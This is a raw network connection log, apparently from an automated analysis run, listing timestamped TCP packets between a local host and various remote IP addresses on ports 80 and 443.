Nov 27, 2024 11:14:38.825066090 CET	443	49826	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:38.883564949 CET	49818	443	192.168.2.6	94.245.104.56
Nov 27, 2024 11:14:38.883596897 CET	443	49818	94.245.104.56	192.168.2.6
Nov 27, 2024 11:14:39.166270018 CET	49782	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:39.167249918 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:39.198942900 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:39.198956966 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:39.199021101 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:39.199256897 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:39.199269056 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:39.237711906 CET	49832	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:39.237740040 CET	443	49832	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:39.237797022 CET	49832	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:39.238409996 CET	49832	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:39.238421917 CET	443	49832	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:39.286236048 CET	80	49782	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:39.287136078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:39.287278891 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:39.305908918 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:39.305986881 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:39.426217079 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:39.426233053 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:39.426243067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:39.426255941 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:39.753659010 CET	49800	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.753679037 CET	443	49800	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.754308939 CET	49800	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.754314899 CET	443	49800	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.758579969 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.758728981 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.758752108 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.758763075 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.758842945 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.758852959 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.758902073 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.758907080 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.758915901 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.758943081 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.758946896 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.758960009 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.758970976 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.758976936 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.758996010 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759015083 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759018898 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759032965 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759058952 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759062052 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759092093 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759119987 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759131908 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759150028 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759160995 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759170055 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759179115 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759190083 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759206057 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759212017 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759221077 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759238005 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759238005 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759243011 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759258032 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759263039 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759274960 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759283066 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759294987 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759306908 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759310961 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759334087 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759334087 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759346962 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759356022 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759361029 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759383917 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759394884 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759402037 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759413958 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759426117 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759433985 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759449005 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759464025 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759481907 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759481907 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759490967 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759500980 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759512901 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759535074 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759567022 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759572983 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759588003 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759630919 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.759660006 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.759681940 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.761065006 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.761065960 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.761080027 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.761081934 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.762017012 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.762042999 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.762062073 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.762104988 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.762111902 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.762144089 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.762149096 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.762161970 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.762172937 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.762177944 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.762190104 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.762211084 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.762218952 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.762290955 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.762295961 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.762336016 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.762396097 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.763164043 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.764200926 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.764209986 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.769277096 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.770904064 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.770915031 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:39.777357101 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.778805971 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:39.778815985 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:40.004796982 CET	443	49820	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.009285927 CET	49820	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.009301901 CET	443	49820	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.010040998 CET	49820	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.010046005 CET	443	49820	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.090732098 CET	443	49800	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:40.090811014 CET	443	49800	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:40.090878010 CET	49800	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:40.458076000 CET	443	49820	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.458153009 CET	443	49820	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.458201885 CET	49820	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.458812952 CET	49820	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.458832026 CET	443	49820	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.458843946 CET	49820	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.458849907 CET	443	49820	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.466198921 CET	49841	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.466233969 CET	443	49841	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.466298103 CET	49841	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.466449976 CET	49841	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.466461897 CET	443	49841	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.539581060 CET	443	49827	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.544018030 CET	49827	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.544049978 CET	443	49827	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.544473886 CET	49827	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.544478893 CET	443	49827	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.580048084 CET	49842	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:40.580087900 CET	443	49842	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:40.580213070 CET	49842	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:40.580590963 CET	49842	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:40.580604076 CET	443	49842	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:40.581031084 CET	49843	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:40.581062078 CET	443	49843	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:40.581420898 CET	49843	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:40.581645966 CET	49843	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:40.581655025 CET	443	49843	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:40.591171980 CET	49844	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:40.591204882 CET	443	49844	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:40.591280937 CET	49844	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:40.594624996 CET	49844	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:40.594638109 CET	443	49844	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:40.606115103 CET	443	49825	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.608385086 CET	49825	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.608398914 CET	443	49825	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.609035015 CET	49825	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.609039068 CET	443	49825	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.669740915 CET	443	49826	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.669857025 CET	443	49824	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.674441099 CET	49826	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.674469948 CET	443	49826	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.675193071 CET	49826	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.675198078 CET	443	49826	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.675594091 CET	49824	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.675601959 CET	443	49824	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.676075935 CET	49824	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.676079988 CET	443	49824	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.975347996 CET	443	49827	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.975425005 CET	443	49827	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.975519896 CET	49827	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.975883961 CET	49827	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.975907087 CET	443	49827	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.975918055 CET	49827	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.975924969 CET	443	49827	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.979196072 CET	49845	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.979228020 CET	443	49845	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.979320049 CET	49845	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.979945898 CET	49845	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:40.979962111 CET	443	49845	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:40.995349884 CET	49800	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:40.995372057 CET	443	49800	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:40.995383978 CET	49800	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:40.996254921 CET	49800	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:41.050215960 CET	443	49825	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.050286055 CET	443	49825	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.050353050 CET	49825	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.065504074 CET	49825	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.065529108 CET	443	49825	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.065543890 CET	49825	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.065551996 CET	443	49825	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.072912931 CET	49846	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.072945118 CET	443	49846	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.073016882 CET	49846	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.073421955 CET	49846	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.073436022 CET	443	49846	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.123577118 CET	443	49826	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.123626947 CET	443	49824	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.123667002 CET	443	49826	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.123696089 CET	443	49824	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.123750925 CET	49826	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.123944044 CET	49824	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.123987913 CET	49826	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.123987913 CET	49826	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.124007940 CET	443	49826	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.124020100 CET	443	49826	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.124854088 CET	49824	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.124865055 CET	443	49824	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.128801107 CET	49847	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.128823996 CET	443	49847	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.128878117 CET	49847	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.129072905 CET	49847	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.129085064 CET	443	49847	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.129452944 CET	49848	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.129498959 CET	443	49848	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.129595041 CET	49848	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.129766941 CET	49848	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:41.129787922 CET	443	49848	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:41.181035995 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:41.181133032 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:41.198118925 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.199284077 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.199304104 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.199774981 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.199794054 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.199902058 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.200017929 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.200023890 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.200125933 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.200536013 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.202222109 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.202296972 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.203046083 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.203052044 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.265882969 CET	49850	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.265919924 CET	443	49850	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.265979052 CET	49850	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.266292095 CET	49850	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.266311884 CET	443	49850	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.304577112 CET	49851	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.304601908 CET	443	49851	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:41.304749012 CET	49851	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.305347919 CET	49852	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.305356026 CET	443	49852	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.305469990 CET	49852	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.306796074 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.308789968 CET	49852	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.308803082 CET	443	49852	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.309015989 CET	49851	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.309032917 CET	443	49851	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:41.329451084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:41.449354887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:41.455707073 CET	49861	443	192.168.2.6	18.165.220.110
Nov 27, 2024 11:14:41.455714941 CET	443	49861	18.165.220.110	192.168.2.6
Nov 27, 2024 11:14:41.455770016 CET	49861	443	192.168.2.6	18.165.220.110
Nov 27, 2024 11:14:41.456171036 CET	49861	443	192.168.2.6	18.165.220.110
Nov 27, 2024 11:14:41.456181049 CET	443	49861	18.165.220.110	192.168.2.6
Nov 27, 2024 11:14:41.503586054 CET	49842	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.511434078 CET	49851	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.511782885 CET	49864	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.511816978 CET	443	49864	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:41.511981964 CET	49864	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.511981964 CET	49865	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.512007952 CET	443	49865	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:41.512057066 CET	49865	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.512284040 CET	49864	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.512301922 CET	443	49864	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:41.512429953 CET	49865	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.512439013 CET	443	49865	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:41.512968063 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:41.513044119 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:41.513226032 CET	443	49813	13.107.9.158	192.168.2.6
Nov 27, 2024 11:14:41.513278008 CET	49813	443	192.168.2.6	13.107.9.158
Nov 27, 2024 11:14:41.513786077 CET	49843	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.513823032 CET	49852	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.514234066 CET	49861	443	192.168.2.6	18.165.220.110
Nov 27, 2024 11:14:41.516338110 CET	49870	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.516345978 CET	443	49870	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.516602039 CET	49870	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.518748999 CET	49871	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.518757105 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.518806934 CET	49871	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.519339085 CET	49844	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.519397974 CET	49850	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.519787073 CET	49873	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.519798040 CET	443	49873	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.520073891 CET	49873	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.520565987 CET	49874	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.520590067 CET	443	49874	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.520682096 CET	49874	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.521531105 CET	49870	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.521538973 CET	443	49870	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.521620989 CET	49871	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.521631002 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.522032022 CET	49873	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.522042990 CET	443	49873	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.522221088 CET	49874	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.522233963 CET	443	49874	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.524787903 CET	443	49832	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:41.524862051 CET	49832	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:41.526998043 CET	49832	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:41.527002096 CET	443	49832	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:41.527240038 CET	443	49832	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:41.530849934 CET	49832	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:41.530930996 CET	49832	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:41.530935049 CET	443	49832	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:41.531089067 CET	49832	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:41.551340103 CET	443	49842	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:41.555337906 CET	443	49851	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:41.555357933 CET	443	49861	18.165.220.110	192.168.2.6
Nov 27, 2024 11:14:41.555378914 CET	443	49852	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.555387020 CET	443	49843	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.563333988 CET	443	49850	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.563332081 CET	443	49844	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.575334072 CET	443	49832	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:41.793900013 CET	443	49843	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.793972015 CET	49843	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.802447081 CET	443	49844	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.802560091 CET	443	49844	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:41.802624941 CET	49844	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.802650928 CET	49844	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:41.834683895 CET	443	49842	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:41.834743977 CET	49842	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:41.902318001 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.902364016 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.902455091 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.902486086 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.917226076 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.917304039 CET	49831	443	192.168.2.6	142.250.181.65
